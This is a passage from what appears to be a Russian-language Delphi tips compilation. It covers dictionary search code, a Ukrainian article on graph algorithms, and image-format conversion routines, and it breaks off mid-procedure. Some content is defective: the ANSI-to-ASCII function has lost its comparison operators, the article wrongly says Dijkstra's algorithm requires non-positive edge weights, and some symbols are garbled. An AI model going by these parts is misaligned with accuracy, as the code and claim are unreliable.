uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls, Dictionary;

type
  TForm1 = class(TForm)
    Button1: TButton;
    ProgressBar1: TProgressBar;
    Button2: TButton;
    Edit1: TEdit;
    Label1: TLabel;
    CheckBox1: TCheckBox;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  end;

var
  Form1: TForm1;

implementation

uses ComObj;

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  SH: TDictionaryFounder;
  S: TStringList;
  M: TMemoryStream;
  I: Integer;
  Start: Cardinal;
begin
  S := TStringList.Create;
  try
    S.LoadFromFile('c:\1.txt');
    ProgressBar1.Position := 0;
    ProgressBar1.Max := S.Count;
    SH := TDictionaryFounder.Create;
    try
      Start := GetTickCount;
      for I := 0 to S.Count - 1 do
      begin
        SH.AddData(S.Strings[I]);
        ProgressBar1.Position := I;
      end;
      ShowMessage('Время составления словаря: ' + IntToStr(GetTickCount - Start));
      M := TMemoryStream.Create;
      try
        SH.SaveToStream(M);
        M.SaveToFile('c:\2.txt');
        ProgressBar1.Position := 0;
        Button2.Enabled := True;
      finally
        M.Free;
      end;
    finally
      SH.Free;
    end;
  finally
    S.Free;
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  S: TDictionaryFinder;
  M: TMemoryStream;
begin
  S := TDictionaryFinder.Create;
  try
    M := TMemoryStream.Create;
    try
      M.LoadFromFile('c:\2.txt');
      S.LoadFromStream(M);
      if S.Find(Edit1.Text, CheckBox1.Checked) then
        ShowMessage('Элемент найден')
      else
        ShowMessage('Элемент не найден');
    finally
      M.Free;
    end;
  finally
    S.Free;
  end;
end;

end.

Автор: Александр (Rouse_) Багель

Взято из http://forum.sources.ru


Алгоритмы теории графов

К сожалению только на украинском языке

АЛГОРИТМИ ТЕОРІЇ ГРАФІВ

Основні визначення теорії графів

Орієнтований граф, як пишуть у [1] – це «пара (V, E), де V – кінцева множина, а E – бінарне відношення на V, тобто підмножина множини V*V… …множину V називають множиною вершин графа, а множину E – множиною ребер».
У неорієнтованому графі множина V складається з неупорядкованих пар вершин. Парою називається множина {u,v}, де u і v належать V.
Якщо в графі є ребро (u,v), то говорять, що вершина u суміжна з вершиною v. Для неорієнтованих графів відношення суміжності є симетричним.
Шлях довжини k з вершини u у вершину v визначається як послідовність вершин v0, v1, v2, … vk, у який v0 = u, vk = v, а (vi-1, vi) – ребро графа.
Циклом в орієнтованому графі називається шлях, у якому початкова вершина збігається з кінцевою і який містить хоча б одне ребро. Граф, у якому немає циклів, називається ациклічним.
Представлення графів
Є два стандартних способи представлення графів: як список суміжних вершин чи як матрицю суміжності. Обидва способи мають свої плюси і недоліки.
Список суміжних вершин дуже зручний при представленні розріджених графів. Він дає вигідне зменшення займаного обсягу пам'яті. Але при цьому цей спосіб не дає можливості швидко перевірити наявність ребра між двома довільними вершинами. Це представлення графу використовує масив списків по одному списку для кожної вершини. Список зберігає усі вершини, суміжні з даною вершиною в довільному порядку.
Матриця суміжності займає більший обсяг пам'яті, але зручна для представлення щільних графів. Тут кожен елемент Mij матриці позначає наявність ребра межу вершиною i та вершиною j. Якщо граф – зважений, то Mij може позначати вагу ребра (i,j).

Алгоритм пошуку в ширину

Алгоритм пошуку в ширину (Breadth-first search) – один з базисних алгоритмів, що є основою багатьох інших. Наприклад, алгоритм Дейкстри пошуку найкоротших шляхів з однієї вершини й алгоритм Прима пошуку мінімального покриваючого дерева можуть розглядатися як узагальнення пошуку в ширину..
Нехай заданий граф G і фіксована початкова вершина s. Алгоритм пошуку в ширину перелічує всі досяжні з s (якщо йти по ребрах) вершини в порядку збільшення відстані від s. У процесі пошуку з графу виділяється частина, що називається «деревом пошуку в ширину» з коренем s. Вона містить усі досяжні з s вершини (і тільки їх). Для кожної з них шлях з кореня в дереві пошуку буде одним з найкоротших шляхів до s. Алгоритм можна застосувати і до орієнтованих, і до неорієнтованих графів.
Назва пояснюється тим, що в процесі пошуку ми йдемо в широчінь, а не в глиб (з початку переглядаємо сусідні вершини, потім сусідів сусідів, і т.д.).
Для наочності будемо вважати, що в процесі роботи алгоритму вершини графа можуть бути білими, сірими і чорними. Спочатку вони всі білі, а в ході роботи алгоритму біла вершина може стати сірою, сіра - чорною, але не навпаки. Зустрівши нову вершину, алгоритм пошуку фарбує її, так що сірі і чорні вершини - уже виявлені вершини. Різниця між сірими і чорними вершинами використовується алгоритмом для керування порядком обходу: сірі вершини утворять "лінію фронту", а чорні - "тил". Таким чином, тільки сірі вершини можуть мати суміжні невиявлені вершини.
Спочатку дерево пошуку складається тільки з початкової вершини s. Як тільки алгоритм виявляє нову вершину v, суміжну з раніше знайденою вершиною u, вершина v разом з ребром (u, v) додається до дерева пошуку, стаючи дитиною вершини u, а u стає батьком v. Кожна вершина виявляється тільки один раз, так що двох батьків у вершини бути не може.
Оцінюючи складність цього алгоритму, ми зауважуємо, що вершини тільки сутеніють, отже, кожна вершина обробляється тільки один раз. При цьому для обходу суміжних вершин для даної вершини використовується часу O(E). Отже, обчислювальна складність алгоритму пошуку в ширину – O(V+E), де V – кількість вершин у графі, а E – кількість ребер.

Алгоритм пошуку в глибину

Пошук у глибину – ще один спосіб обходу графу. Він застосовується в таких алгоритмах, як алгоритм топологічного сортування, алгоритм пошуку сильно зв'язаних компонентів.
Стратегія пошуку в глибину така: йти вглиб, поки це можливо (є непройдені вихідні ребра), повертатися і шукати інший шлях, коли таких ребер немає. Якщо після цього залишаються недоторкані вершини - можна вибрати одну з них і повторювати процес доти, поки залишаються невиявлені вершини.
Знайшовши уперше вершину v, суміжну з u, ми відзначаємо цю подію, записуючи в поле ?[v] значення u. Утворюється дерево чи кілька дерев.
Як і пошук у ширину, алгоритм пошуку в глибину використовує кольори вершин. Спочатку усі вершини - білі. При виявленні нової вершини, вона фарбується в сірий колір. Коли вершина цілком оброблена, вона фарбується в чорний колір.
Крім цього пошук у глибину ставить на вершинах мітки часу. Кожна вершина має дві мітки: d[v] показує, коли вершина була виявлена, f[v] - коли оброблена. Ці мітки використовуються в багатьох алгоритмах на графах.
Під час виконання цього алгоритму, обробка кожної вершини відбувається рівно один раз. Отже, складність роботи даного алгоритму становить O(V+E), де V – кількість вершин у графі, а E – кількість ребер.
Алгоритм Дейкстри пошуку найкоротших шляхів
Уявимо собі карту автомобільних шляхів України. Як знайти найкоротший шлях із Дніпропетровська в Київ? Можна, звичайно, перебрати всі можливі варіанти і вибрати мінімальний з них. Але тоді ми одержуємо мільйони свідомо невірних операцій (наприклад, навіщо нам їхати з Дніпропетровська в Київ через Донецьк, що знаходиться зовсім в іншому боці). Далі буде розглянутий спосіб ефективного рішення цієї задачі.
Тут буде розглядатися тільки пошук найкоротших шляхів з однієї вершини: даний зважений граф G і початкова вершина s. Потрібно знайти всі найкоротші шляхи з s в усі вершини графу. Алгоритм Дейкстри здатний знайти найкоротший шлях тільки для графів, у яких усі ребра недодатньої ваги.
Багато алгоритмів пошуку найкоротших шляхів використовують особливу техніку – техніку релаксації. І алгоритм Дейскстри – не виключення. Техніка релаксації полягає в наступному: для кожної вершини v ми зберігаємо деяке число d[v], що є верхньою оцінкою ваги найкоротшого шляху з s у v. Початкове значення оцінки найкоротшого шляху і масиву ? (масиву предків) задається наступною процедурою:

Initialize-Single-Source(G, s)
1 for (для) усіх вершин v
2 do d[v] = ?
3 ?[v] = NIL
4 d[s] = 0

Релаксація ребра (u,v) полягає в наступному: значення d[v] зменшується до d[u]+w(u,v) (якщо друге значення менше попереднього). При цьому d[v] залишається верхньою оцінкою.

Relax(u, v, w)
1 if d[v] > d[u] + w(u,w)
2 then d[v] = d[u] + w(u,w)
3 ?[v] = u

По своїй суттевості, алгоритм Дейкстри є жадним алгоритмом.
У процесі роботи алгоритму Дейкстри підтримується множина S, що складається з вершин v, для яких знайдений найкоротший шлях. Алгоритм вибирає вершину u з найменшим d[u], додає її до множини S і здійснює релаксацію всіх ребер, що виходять з u, після чого цикл повторюється.
Складність роботи алгоритму Дейкстри становить O(V2)

Пошук максимального паросполучення

Нехай G(V, E) - неорієнтований граф. Паросполученням назвемо множину ребер M, що не мають спільних кінців (кожна вершина v з V є кінцем максимум одного ребра з M). Будемо говорити, що вершина v з V входить у паросполучення M, якщо в M є ребро з кінцем v. У противному випадку v вільна. Максимальне паросполучення - це паросполучення M, що містить максимально можливе число ребер.
Для рішення задачі про найбільше паросполучення використовується метод ланцюгів, що чергуються. Нехай M - паросполучення в двочастковому графі G. Ланцюг, у який по черзі входять ребра з M і з "не-M", назвемо ланцюгом, що чергується. Вершини, инцидентні ребрам з M, назвемо насиченими. Чергуючийся відносно M ланцюг з ненасиченими вершинами називається ланцюгом, що збільшує, відносно M.
Паросполучення M є максимальним тоді і тільки тоді, коли немає збільшуючих відносно M ланцюгів
Для задач про максимальне паросполучення є безліч метафор. Ось одна з них: є множина чоловіків і множина наречених. Ребро (u,v) означає, що чоловік u і наречена v згодні оженитися. Максимальне паросполучення доставляє ЗАГСу більше всього роботи.
Алгоритм пошуку максимального паросполучення такий:

1. Ініціалізація
2. Побудова жадібного паросполучення.
3. У циклі по i з I' застосувати алгоритм знаходження всіх досяжних вершин з
i. Якщо серед них виявиться вершина з J', то збільшити ланцюг.
4. Якщо множини I' і J' непорожні і на кроці 3 удалося збільшити ланцюг, то перейти до 3
5. Видати рішення

Тут I' і J' - множини ненасичених вершин із двох часток графа. "Збільшити ланцюг" - говорячи простою мовою - означає розгорнути ребра графа.

Автор: Fedor
Взято с Vingrad.ru http://forum.vingrad.ru


Форматы файлов, данных. Конвертация форматов

Cодержание раздела:

ANSI ---> ASCII
BMP ---> AVI (для TAnimate)
BMP ---> EMF
BMP ---> DIB
BMP ---> ICO
BMP ---> JPG
BMP ---> RTF
BMP ---> WMF
CUR ---> BMP
ICO ---> BMP
JPG ---> BMP
TIF ---> PDF
TXT ---> GIF
WMF ---> BMP
RTF-->HTML
HTML --> RTF New!
DFM -->TXT, TXT --> DFM
Win1251 <-> Koi8r
Как инсталлировать INF файл?
Как конвертировать WideString в String?
Как определить графический формат файла (не используя расширение)? Как прочитать MP3 ID3-Tag?
Как прочитать заголовок wav файла?
Как работать с DWG файлами (AutoCAD)?
Как работать с GIF файлами?
Как работать с PDF файлами?
Как разрезать wav файл?
Как узнать размер картинки для JPG, GIF и PNG файлов? Updated!
Компонент для работы с PCX файлами
Пример работы чтения и сохранении wav-файлов
Работа с TGA файлами
Формат wave файла
Декомпилляция звукового файла формата Wave и получение звуковых данных
Flash SWF --> EXE New!
Преобразование иконок в Gliph-ы New!

См. также статьи в других разделах:
Как из RXRichEdit сохранить в RTF формате?
При использовании DOS DBF файлов - перекодировка между форматами
Как экспортировать все таблицы в CSV файл?
Преобразование цвета RGB <-> HLS
TColor --> String
String --> TColor
Смешиваем два цвета.
Как преобразовать цвета RGB в CMYK и обратно
Как конвертировать RGB в TColor
Как получить цвет строки в HTML формате
Как преобразовать шестнадцатиричный цвет HTML в TColor
RGB --> Gray
Как получить длину wav в секундах? New!


ANSI ---> ASCII

{преобразование Ansi to Ascii}
 function AnToAs(s: String) : String;
 Var i,kod : Integer;
 begin
  Result:=s;
  for i:=1 to length(s) do
  begin
   kod:=Ord(s[i]);
   if  kod  13 then Result[i]:=' ';
   if ( kod>=192) and ( kod=239) then
      Result[i]:=Chr(kod-64);
   if ( kod>=240) and ( kod=255) then
      Result[i]:=Chr(kod-16);
   if kod=168 then  Result[i]:=Chr(240);
   if kod=184 then  Result[i]:=Chr(241);
  end;
 end;

Взято с http://delphiworld.narod.ru


BMP ---> AVI (для TAnimate)

TAnimate is a rather nice component. However if you don't want to use the built in AVI files and want to create your own AVI files from BMP files, then you may have a problem as there is no tool in Delphi to do this.

While browsing the web for information on AVI file formats I came upon a site www.shrinkwrapvb.com/avihelp/avihelp.htm that is maintained by Ray Mercer. In this tutorial he explains how to manipulate,read and write AVI files. I was particularly interested in "Step 5" in which he shows a utility that takes a list of BMP files that creates an AVI file which can be used by the TAnimate component. The only problem was that the examples are in Visual Basic, thus a conversion to Delphi was required.

I have posted this procedure
CreateAVI(const FileName : string; BMPFileList : TStrings; FramesPerSec : integer = 10);

To keep the text of the example simple and readable I have left out most to the error checking (try except etc.). You can also play with the AVISaveOptions dialog box, but I can only seem to get it to work with "Full Frames Uncompressed" with BMP files. Can anyone shed some light on this ?

Errors you should check for are ..
All files are valid BMP files and are of the same size.
All Blockreads are valid with no read errors.

Ray has a downloadable EXE that works quite nicely, however I am about to write my own utility that incorporates the following ...

Multiline file selection.
Listbox line reordering (drag/drop).
Sort File list
Layout Save and Load .
AVI Preview.

(I have beta version 1.0.0.0 ready, if anyone wants a copy of exe or source code, drop me a mail at mheydon@pgbison.co.za)

For further info on AVI files I recommend you vist Ray's site at http://www.shrinkwrapvb.com/avihelp/avihelp.htm it really is a well written tutorial (even if it is in Visual Basic)

const
  // AVISaveOptions Dialog box flags

  ICMF_CHOOSE_KEYFRAME = 1; // show KeyFrame Every box
  ICMF_CHOOSE_DATARATE = 2; // show DataRate box
  ICMF_CHOOSE_PREVIEW = 4; // allow expanded preview dialog
  ICMF_CHOOSE_ALLCOMPRESSORS = 8; // don't only show those that
  // can handle the input format
  // or input data
  AVIIF_KEYFRAME = 10;

type

  AVI_COMPRESS_OPTIONS = packed record
    fccType: DWORD; // stream type, for consistency
    fccHandler: DWORD; // compressor
    dwKeyFrameEvery: DWORD; // keyframe rate
    dwQuality: DWORD; // compress quality 0-10,000
    dwBytesPerSecond: DWORD; // bytes per second
    dwFlags: DWORD; // flags... see below
    lpFormat: DWORD; // save format
    cbFormat: DWORD;
    lpParms: DWORD; // compressor options
    cbParms: DWORD;
    dwInterleaveEvery: DWORD; // for non-video streams only
  end;

  AVI_STREAM_INFO = packed record
    fccType: DWORD;
    fccHandler: DWORD;
    dwFlags: DWORD;
    dwCaps: DWORD;
    wPriority: word;
    wLanguage: word;
    dwScale: DWORD;
    dwRate: DWORD;
    dwStart: DWORD;
    dwLength: DWORD;
    dwInitialFrames: DWORD;
    dwSuggestedBufferSize: DWORD;
    dwQuality: DWORD;
    dwSampleSize: DWORD;
    rcFrame: TRect;
    dwEditCount: DWORD;
    dwFormatChangeCount: DWORD;
    szName: array[0..63] of char;
  end;

  BITMAPINFOHEADER = packed record
    biSize: DWORD;
    biWidth: DWORD;
    biHeight: DWORD;
    biPlanes: word;
    biBitCount: word;
    biCompression: DWORD;
    biSizeImage: DWORD;
    biXPelsPerMeter: DWORD;
    biYPelsPerMeter: DWORD;
    biClrUsed: DWORD;
    biClrImportant: DWORD;
  end;

  BITMAPFILEHEADER = packed record
    bfType: word; //"magic cookie" - must be "BM"
    bfSize: integer;
    bfReserved1: word;
    bfReserved2: word;
    bfOffBits: integer;
  end;

  // DLL External declarations

function AVISaveOptions(Hwnd: DWORD; uiFlags: DWORD; nStreams: DWORD;
  pPavi: Pointer; plpOptions: Pointer): boolean;
  stdcall; external 'avifil32.dll';

function AVIFileCreateStream(pFile: DWORD; pPavi: Pointer; pSi: Pointer): integer;
  stdcall; external 'avifil32.dll';

function AVIFileOpen(pPfile: Pointer; szFile: PChar; uMode: DWORD;
  clSid: DWORD): integer;
  stdcall; external 'avifil32.dll';

function AVIMakeCompressedStream(psCompressed: Pointer; psSource: DWORD;
  lpOptions: Pointer; pclsidHandler: DWORD): integer;
  stdcall; external 'avifil32.dll';

function AVIStreamSetFormat(pAvi: DWORD; lPos: DWORD; lpGormat: Pointer;
  cbFormat: DWORD): integer;
  stdcall; external 'avifil32.dll';

function AVIStreamWrite(pAvi: DWORD; lStart: DWORD; lSamples: DWORD;
  lBuffer: Pointer; cBuffer: DWORD; dwFlags: DWORD;
  plSampWritten: DWORD; plBytesWritten: DWORD): integer;
  stdcall; external 'avifil32.dll';

function AVISaveOptionsFree(nStreams: DWORD; ppOptions: Pointer): integer;
  stdcall; external 'avifil32.dll';

function AVIFileRelease(pFile: DWORD): integer; stdcall; external 'avifil32.dll';

procedure AVIFileInit; stdcall; external 'avifil32.dll';

procedure AVIFileExit; stdcall; external 'avifil32.dll';

function AVIStreamRelease(pAvi: DWORD): integer; stdcall; external 'avifil32.dll';

function mmioStringToFOURCCA(sz: PChar; uFlags: DWORD): integer;
  stdcall; external 'winmm.dll';

// ============================================================================
// Main Function to Create AVI file from BMP file listing
// ============================================================================

procedure CreateAVI(const FileName: string; IList: TStrings;
  FramesPerSec: integer = 10);
var
  Opts: AVI_COMPRESS_OPTIONS;
  pOpts: Pointer;
  pFile, ps, psCompressed: DWORD;
  strhdr: AVI_STREAM_INFO;
  i: integer;
  BFile: file;
  m_Bih: BITMAPINFOHEADER;
  m_Bfh: BITMAPFILEHEADER;
  m_MemBits: packed array of byte;
  m_MemBitMapInfo: packed array of byte;
begin
  DeleteFile(FileName);
  Fillchar(Opts, SizeOf(Opts), 0);
  FillChar(strhdr, SizeOf(strhdr), 0);
  Opts.fccHandler := 541215044; // Full frames Uncompressed
  AVIFileInit;
  pfile := 0;
  pOpts := @Opts;

  if AVIFileOpen(@pFile, PChar(FileName), OF_WRITE or OF_CREATE, 0) = 0 then
  begin
    // Determine Bitmap Properties from file item[0] in list
    AssignFile(BFile, IList[0]);
    Reset(BFile, 1);
    BlockRead(BFile, m_Bfh, SizeOf(m_Bfh));
    BlockRead(BFile, m_Bih, SizeOf(m_Bih));
    SetLength(m_MemBitMapInfo, m_bfh.bfOffBits - 14);
    SetLength(m_MemBits, m_Bih.biSizeImage);
    Seek(BFile, SizeOf(m_Bfh));
    BlockRead(BFile, m_MemBitMapInfo[0], length(m_MemBitMapInfo));
    CloseFile(BFile);

    strhdr.fccType := mmioStringToFOURCCA('vids', 0); // stream type video
    strhdr.fccHandler := 0; // def AVI handler
    strhdr.dwScale := 1;
    strhdr.dwRate := FramesPerSec; // fps 1 to 30
    strhdr.dwSuggestedBufferSize := m_Bih.biSizeImage; // size of 1 frame
    SetRect(strhdr.rcFrame, 0, 0, m_Bih.biWidth, m_Bih.biHeight);

    if AVIFileCreateStream(pFile, @ps, @strhdr) = 0 then
    begin
      // if you want user selection options then call following line
      // (but seems to only like "Full frames Uncompressed option)

      // AVISaveOptions(Application.Handle,
      //                ICMF_CHOOSE_KEYFRAME or ICMF_CHOOSE_DATARATE,
      //                1,@ps,@pOpts);
      // AVISaveOptionsFree(1,@pOpts);

      if AVIMakeCompressedStream(@psCompressed, ps, @opts, 0) = 0 then
      begin
        if AVIStreamSetFormat(psCompressed, 0, @m_memBitmapInfo[0],
          length(m_MemBitMapInfo)) = 0 then
        begin

          for i := 0 to IList.Count - 1 do
          begin
            AssignFile(BFile, IList[i]);
            Reset(BFile, 1);
            Seek(BFile, m_bfh.bfOffBits);
            BlockRead(BFile, m_MemBits[0], m_Bih.biSizeImage);
            Seek(BFile, SizeOf(m_Bfh));
            BlockRead(BFile, m_MemBitMapInfo[0], length(m_MemBitMapInfo));
            CloseFile(BFile);
            if AVIStreamWrite(psCompressed, i, 1, @m_MemBits[0],
              m_Bih.biSizeImage, AVIIF_KEYFRAME, 0, 0) <> 0 then
            begin
              ShowMessage('Error during Write AVI File');
              break;
            end;
          end;
        end;
      end;
    end;

    AVIStreamRelease(ps);
    AVIStreamRelease(psCompressed);
    AVIFileRelease(pFile);
  end;

  AVIFileExit;
  m_MemBitMapInfo := nil;
  m_memBits := nil;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


BMP ---> EMF

function bmp2emf(const SourceFileName: TFileName): Boolean;
// Converts a Bitmap to a Enhanced Metafile (*.emf)
var
  Metafile: TMetafile;
  MetaCanvas: TMetafileCanvas;
  Bitmap: TBitmap;
begin
  Metafile := TMetaFile.Create;
  try
    Bitmap := TBitmap.Create;
    try
      Bitmap.LoadFromFile(SourceFileName);
      Metafile.Height := Bitmap.Height;
      Metafile.Width  := Bitmap.Width;
      MetaCanvas := TMetafileCanvas.Create(Metafile, 0);
      try
        MetaCanvas.Draw(0, 0, Bitmap);
      finally
        MetaCanvas.Free;
      end;
    finally
      Bitmap.Free;
    end;
    Metafile.SaveToFile(ChangeFileExt(SourceFileName, '.emf'));
  finally
    Metafile.Free;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  bmp2emf('C:\TestBitmap.bmp');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


BMP ---> DIB

Если файл хранится в формате BMP, как мне преобразовать его в DIB и как затем отобразить?

Это не тривиально, но помочь нам смогут функции GetDIBSizes и GetDIB из модуля GRAPHICS.PAS. Приведу две процедуры: одну для создания DIB из TBitmap и вторую для его освобождения:

{ Преобразование TBitmap в DIB }

procedure BitmapToDIB(Bitmap: TBitmap;
  var BitmapInfo: PBitmapInfo;
  var InfoSize: integer;
  var Bits: pointer;
  var BitsSize: longint);
begin
  BitmapInfo := nil;
  InfoSize := 0;
  Bits := nil;
  BitsSize := 0;
  if not Bitmap.Empty then
  try
    GetDIBSizes(Bitmap.Handle, InfoSize, BitsSize);
    GetMem(BitmapInfo, InfoSize);
    Bits := GlobalAllocPtr(GMEM_MOVEABLE, BitsSize);
    if Bits = nil then
      raise
        EOutOfMemory.Create('Не хватает памяти для пикселей изображения');
    if not GetDIB(Bitmap.Handle, Bitmap.Palette, BitmapInfo^, Bits^) then
      raise Exception.Create('Не могу создать DIB');
  except
    if BitmapInfo <> nil then
      FreeMem(BitmapInfo, InfoSize);
    if Bits <> nil then
      GlobalFreePtr(Bits);
    BitmapInfo := nil;
    Bits := nil;
    raise;
  end;
end;

{ используйте FreeDIB для освобождения информации об изображении и битовых указателей }

procedure FreeDIB(BitmapInfo: PBitmapInfo;
  InfoSize: integer;
  Bits: pointer;
  BitsSize: longint);
begin
  if BitmapInfo <> nil then
    FreeMem(BitmapInfo, InfoSize);
  if Bits <> nil then
    GlobalFreePtr(Bits);
end;

Создаем форму с TImage Image1 и загружаем в него 256-цветное изображение, затем рядом размещаем TPaintBox. Добавляем следующие строчки к private-объявлениям вашей формы:

{ Private declarations }
BitmapInfo : PBitmapInfo ;
InfoSize   : integer ;
Bits       : pointer ;
BitsSize   : longint ;

Создаем нижеприведенные обработчики событий, которые демонстрируют процесс отрисовки DIB:

procedure TForm1.FormCreate(Sender: TObject);
begin
  BitmapToDIB(Image1.Picture.Bitmap, BitmapInfo, InfoSize,
    Bits, BitsSize);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
  FreeDIB(BitmapInfo, InfoSize, Bits, BitsSize);
end;

procedure TForm1.PaintBox1Paint(Sender: TObject);
var
  OldPalette: HPalette;
begin
  if Assigned(BitmapInfo) and Assigned(Bits) then
    with BitmapInfo^.bmiHeader, PaintBox1.Canvas do
    begin
      OldPalette := SelectPalette(Handle,
        Image1.Picture.Bitmap.Palette,
        false);
      try
        RealizePalette(Handle);
        StretchDIBits(Handle, 0, 0, PaintBox1.Width, PaintBox1.Height,
          0, 0, biWidth, biHeight, Bits,
          BitmapInfo^, DIB_RGB_COLORS,
          SRCCOPY);
      finally
        SelectPalette(Handle, OldPalette, true);
      end;
    end;
end;

Это поможет вам сделать первый шаг. Единственное, что вы можете захотеть, это создание собственного HPalette на основе DIB, вместо использования TBitmap и своей палитры. Функция с именем PaletteFromW3DIB из GRAPHICS.PAS как раз этим и занимается, но она не объявлена в качестве экспортируемой, поэтому для ее использования необходимо скопировать ее исходный код и вставить его в ваш модуль.

Взято с http://delphiworld.narod.ru


BMP ---> ICO

Автор: Bernhard Angerer

Вам необходимо создать два битмапа, битмап маски (назовём его "AND" bitmap) и битмап изображения (назовём его XOR bitmap). Вы можете пропустить обработчики для "AND" и "XOR" битмапов в Windows API функции CreateIconIndirect() и использовать обработчик возвращённой иконки в Вашем приложении.

procedure TForm1.Button1Click(Sender: TObject);
var
  IconSizeX : integer;
  IconSizeY : integer;
  AndMask : TBitmap;
  XOrMask : TBitmap;
  IconInfo : TIconInfo;
  Icon : TIcon;
begin
{Получаем размер иконки}
  IconSizeX := GetSystemMetrics(SM_CXICON);
  IconSizeY := GetSystemMetrics(SM_CYICON);

{Создаём маску "And"}
  AndMask := TBitmap.Create;
  AndMask.Monochrome := true;
  AndMask.Width := IconSizeX;
  AndMask.Height := IconSizeY;

{Рисуем на маске "And"}
  AndMask.Canvas.Brush.Color := clWhite;
  AndMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));
  AndMask.Canvas.Brush.Color := clBlack;
  AndMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);

{Рисуем для теста}
  Form1.Canvas.Draw(IconSizeX * 2, IconSizeY, AndMask);

{Создаём маску "XOr"}
  XOrMask := TBitmap.Create;
  XOrMask.Width := IconSizeX;
  XOrMask.Height := IconSizeY;

{Рисуем на маске "XOr"}
  XOrMask.Canvas.Brush.Color := ClBlack;
  XOrMask.Canvas.FillRect(Rect(0, 0, IconSizeX, IconSizeY));
  XOrMask.Canvas.Pen.Color := clRed;
  XOrMask.Canvas.Brush.Color := clRed;
  XOrMask.Canvas.Ellipse(4, 4, IconSizeX - 4, IconSizeY - 4);

{Рисуем в качестве теста}
  Form1.Canvas.Draw(IconSizeX * 4, IconSizeY, XOrMask);

{Создаём иконку}
  Icon := TIcon.Create;
  IconInfo.fIcon := true;
  IconInfo.xHotspot := 0;
  IconInfo.yHotspot := 0;
  IconInfo.hbmMask := AndMask.Handle;
  IconInfo.hbmColor := XOrMask.Handle;
  Icon.Handle := CreateIconIndirect(IconInfo);

{Уничтожаем временные битмапы}
  AndMask.Free;
  XOrMask.Free;

{Рисуем в качестве теста}
  Form1.Canvas.Draw(IconSizeX * 6, IconSizeY, Icon);

{Объявляем иконку в качестве иконки приложения}
  Application.Icon := Icon;

{генерируем перерисовку}
  InvalidateRect(Application.Handle, nil, true);

{Освобождаем иконку}
  Icon.Free;
end;
Взято из http://forum.sources.ru

Способ преобразования изображения размером 32x32 в иконку.

unit main;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, ExtCtrls, StdCtrls;

type

  TForm1 = class(TForm)
    Button1: TButton;
    Image1: TImage;
    Image2: TImage;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
var
  winDC, srcdc, destdc: HDC;

  oldBitmap: HBitmap;
  iinfo: TICONINFO;
begin

  GetIconInfo(Image1.Picture.Icon.Handle, iinfo);

  WinDC := getDC(handle);
  srcDC := CreateCompatibleDC(WinDC);
  destDC := CreateCompatibleDC(WinDC);
  oldBitmap := SelectObject(destDC, iinfo.hbmColor);
  oldBitmap := SelectObject(srcDC, iinfo.hbmMask);

  BitBlt(destdc, 0, 0, Image1.picture.icon.width,
    Image1.picture.icon.height,
    srcdc, 0, 0, SRCPAINT);
  Image2.picture.bitmap.handle := SelectObject(destDC, oldBitmap);
  DeleteDC(destDC);
  DeleteDC(srcDC);
  DeleteDC(WinDC);

  image2.Picture.Bitmap.savetofile(ExtractFilePath(Application.ExeName)
    + 'myfile.bmp');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  image1.picture.icon.loadfromfile('c:\myicon.ico');
end;

end.

Взято с http://delphiworld.narod.ru


BMP ---> JPG

uses
  Jpeg, ClipBrd;

procedure TfrmMain.ConvertBMP2JPEG;
  // converts a bitmap, the graphic of a TChart for example, to a jpeg
var
  jpgImg: TJPEGImage;
begin
  // copy bitmap to clipboard
  chrtOutputSingle.CopyToClipboardBitmap;
  // get clipboard and load it to Image1
  Image1.Picture.Bitmap.LoadFromClipboardFormat(cf_BitMap,
    ClipBoard.GetAsHandle(cf_Bitmap), 0);
  // create the jpeg-graphic
  jpgImg := TJPEGImage.Create;
  // assign the bitmap to the jpeg, this converts the bitmap
  jpgImg.Assign(Image1.Picture.Bitmap);
  // and save it to file
  jpgImg.SaveToFile('TChartExample.jpg');
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


BMP ---> RTF

function BitmapToRTF(pict: TBitmap): string;
var
  bi, bb, rtf: string;
  bis, bbs: Cardinal;
  achar: ShortString;
  hexpict: string;
  I: Integer;
begin
  GetDIBSizes(pict.Handle, bis, bbs);
  SetLength(bi, bis);
  SetLength(bb, bbs);
  GetDIB(pict.Handle, pict.Palette, PChar(bi)^, PChar(bb)^);
  rtf := '{\rtf1 {\pict\dibitmap0 ';
  SetLength(hexpict, (Length(bb) + Length(bi)) * 2);
  I := 2;
  for bis := 1 to Length(bi) do
  begin
    achar := IntToHex(Integer(bi[bis]), 2);
    hexpict[I - 1] := achar[1];
    hexpict[I] := achar[2];
    Inc(I, 2);
  end;
  for bbs := 1 to Length(bb) do
  begin
    achar := IntToHex(Integer(bb[bbs]), 2);
    hexpict[I - 1] := achar[1];
    hexpict[I] := achar[2];
    Inc(I, 2);
  end;
  rtf := rtf + hexpict + ' }}';
  Result := rtf;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


BMP ---> WMF

procedure ConvertBMP2WMF
(const BMPFileName, WMFFileName: TFileName);
var
  MetaFile : TMetafile;
  Bitmap : TBitmap;
begin
  Metafile := TMetaFile.Create;
  Bitmap := TBitmap.Create;
  try
    Bitmap.LoadFromFile(BMPFileName);
    with MetaFile do
    begin
      Height := Bitmap.Height;
      Width  := Bitmap.Width;
      Canvas.Draw(0, 0, Bitmap);
      SaveToFile(WMFFileName);
    end;
  finally
      Bitmap.Free;
    MetaFile.Free;
  end;
end;

Использование:

ConvertBMP2WMF('c:\mypic.bmp','c:\mypic.wmf')

Взято из http://forum.sources.ru


CUR ---> BMP

procedure TForm1.Button1Click(Sender: TObject);
var
  hCursor: LongInt;
